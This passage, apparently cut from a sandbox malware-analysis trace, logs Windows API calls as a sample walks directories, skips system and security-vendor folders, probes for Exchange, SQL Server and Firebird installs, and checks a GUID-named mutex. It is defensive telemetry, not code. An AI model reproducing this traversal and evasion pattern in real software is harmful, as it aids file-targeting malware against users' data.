| out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0040.901] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0040.901] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0040.902] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=10, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0040.902] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0040.902] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0040.902] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\Admin\\", cchLength=0x12 | out: lpsz="c:\\perflogs\\admin\\") returned 0x12 [0040.902] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0040.902] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.902] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.903] GlobalUnlock (hMem=0x440004) returned 0 [0040.903] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.903] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.903] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.903] GlobalUnlock (hMem=0x440004) returned 0 [0040.903] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.903] GlobalUnlock (hMem=0x44000c) returned 0 [0040.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c58, cbMultiByte=3, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0040.903] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x525308 [0040.903] FindNextFileW (in: hFindFile=0x525308, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.903] FindNextFileW (in: hFindFile=0x525308, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0040.903] GetLastError () returned 0x12 [0040.903] FindClose (in: hFindFile=0x525308 | out: hFindFile=0x525308) returned 1 [0040.903] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.903] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.903] GlobalUnlock (hMem=0x44000c) returned 0 [0040.903] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.903] GlobalLock (hMem=0x440004) returned 0x550178 [0040.903] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.903] GlobalUnlock (hMem=0x44000c) returned 0 [0040.903] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.903] GlobalUnlock (hMem=0x440004) returned 0 [0040.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c68, cbMultiByte=3, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0040.903] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x525308 [0040.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0040.904] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0040.904] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.904] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.904] GlobalUnlock (hMem=0x440004) returned 0 [0040.904] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.904] GlobalLock (hMem=0x44000c) returned 0x550178 [0040.904] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.904] GlobalUnlock (hMem=0x440004) returned 0 [0040.904] GlobalHandle (pMem=0x550178) returned 0x44000c [0040.904] GlobalUnlock (hMem=0x44000c) returned 0 [0040.904] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.904] FindNextFileW (in: hFindFile=0x525308, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0040.904] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0040.904] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.904] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.904] GlobalUnlock (hMem=0x44000c) returned 0 [0040.904] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.904] GlobalLock (hMem=0x440004) returned 0x550178 [0040.904] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.904] GlobalUnlock (hMem=0x44000c) returned 0 [0040.904] GlobalHandle (pMem=0x550178) returned 0x440004 [0040.904] GlobalUnlock (hMem=0x440004) returned 0 [0040.904] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.904] FindNextFileW (in: hFindFile=0x525308, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0040.904] GetLastError () returned 0x12 [0040.904] FindClose (in: hFindFile=0x525308 | out: hFindFile=0x525308) returned 1 [0040.905] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0040.905] GetLastError () returned 0x12 [0040.905] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0040.905] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3c07790, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3c07790, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0040.905] FileTimeToLocalFileTime (in: lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac4 | out: lpLocalFileTime=0x18fac4) returned 1 [0040.905] FileTimeToDosDateTime (in: lpFileTime=0x18fac4, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.905] GlobalLock (hMem=0x440004) returned 0x520100 [0040.905] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.905] GlobalUnlock (hMem=0x440004) returned 0 [0040.905] GlobalLock (hMem=0x440004) returned 0x520100 [0040.905] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.905] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.905] GlobalUnlock (hMem=0x440004) returned 0 [0040.905] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.905] GlobalUnlock (hMem=0x44000c) returned 0 [0040.906] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.906] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.906] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.906] GlobalUnlock (hMem=0x44000c) returned 0 [0040.906] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.906] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.906] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.906] GlobalUnlock (hMem=0x44000c) returned 0 [0040.906] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.906] GlobalUnlock (hMem=0x440004) returned 0 [0040.906] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.906] SysReAllocStringLen (in: pbstr=0x18fac4*=0x0, psz="C:\\Program Files", len=0x10 | out: pbstr=0x18fac4*="C:\\Program Files") returned 1 [0040.906] GlobalLock (hMem=0x440004) returned 0x520100 [0040.906] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.906] GlobalUnlock (hMem=0x440004) returned 0 [0040.906] GlobalLock (hMem=0x440004) returned 0x520100 [0040.906] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.906] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.906] GlobalUnlock (hMem=0x440004) returned 0 [0040.906] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.906] GlobalUnlock (hMem=0x44000c) returned 0 [0040.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\\x18\x18?癹") returned 26 [0040.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft\\Exchange Server", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@偪R倾R企@\x18㶬Q頻\x18\x1b")) returned 0xffffffff [0040.907] GetLastError () returned 0x3 [0040.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0040.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0040.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\\x18\x18?癹") returned 21 [0040.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="㷴Q䱠@倜R企@\x18㴜Q頻\x181")) returned 0xffffffff [0040.907] GetLastError () returned 0x2 [0040.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0040.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0040.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\\x18\x18?癹") returned 9 [0040.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Firebird", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="㷴Q䱠@碜T企@\x18䔌S頻\x18;")) returned 0xffffffff [0040.908] GetLastError () returned 0x2 [0040.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0040.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0040.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\\x18\x18?癹") returned 8 [0040.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSSQL.1", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="㷴Q䱠@㺄Q企@\x18?T頻\x18D")) returned 0xffffffff [0040.908] GetLastError () returned 0x2 [0040.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0040.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=8, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0040.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\\x18\x18?癹") returned 37 [0040.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 0x522d20 [0040.909] FileTimeToLocalFileTime (in: lpFileTime=0x18f554, lpLocalFileTime=0x18f4d4 | out: lpLocalFileTime=0x18f4d4) returned 1 [0040.909] FileTimeToDosDateTime (in: lpFileTime=0x18f4d4, lpFatDate=0x18f522, lpFatTime=0x18f520 | out: lpFatDate=0x18f522, lpFatTime=0x18f520) returned 1 [0040.909] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0040.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\\x18\x18?癹") returned 37 [0040.909] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.909] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.909] GlobalUnlock (hMem=0x44000c) returned 0 [0040.909] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.909] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.909] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.909] GlobalUnlock (hMem=0x44000c) returned 0 [0040.909] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.909] GlobalUnlock (hMem=0x440004) returned 0 [0040.909] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.910] SysReAllocStringLen (in: pbstr=0x18f790*=0x0, psz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", len=0x36 | out: pbstr=0x18f790*="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned 1 [0040.910] GlobalLock (hMem=0x440004) returned 0x520100 [0040.910] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.910] GlobalUnlock (hMem=0x440004) returned 0 [0040.910] GlobalLock (hMem=0x440004) returned 0x520100 [0040.910] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.910] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.910] GlobalUnlock (hMem=0x440004) returned 0 [0040.910] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.910] GlobalUnlock (hMem=0x44000c) returned 0 [0040.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=26, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\tion\\") returned 26 [0040.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Microsoft\\Exchange Server", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@續R繠R企@\x18㳔Q\x18\x1b")) returned 0xffffffff [0040.910] GetLastError () returned 0x3 [0040.910] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0040.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=21, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\tion\\") returned 21 [0040.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Microsoft SQL Server", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@練R企@\x18㺄Q\x181")) returned 0xffffffff [0040.911] GetLastError () returned 0x2 [0040.911] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0040.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=9, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\tion\\") returned 9 [0040.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\Firebird", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@Q企@\x18䔌S\x18;")) returned 0xffffffff [0040.911] GetLastError () returned 0x2 [0040.911] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0040.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=8, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\tion\\") returned 8 [0040.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\MSSQL.1", lpFindFileData=0x18f20c | out: lpFindFileData=0x18f20c*(dwFileAttributes=0x7758a84a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="而R䱠@缤R企@\x18?T\x18D")) returned 0xffffffff [0040.912] GetLastError () returned 0x2 [0040.912] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\") returned 0x36 [0040.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=8, lpWideCharStr=0x18e410, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0040.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=37, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0040.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server 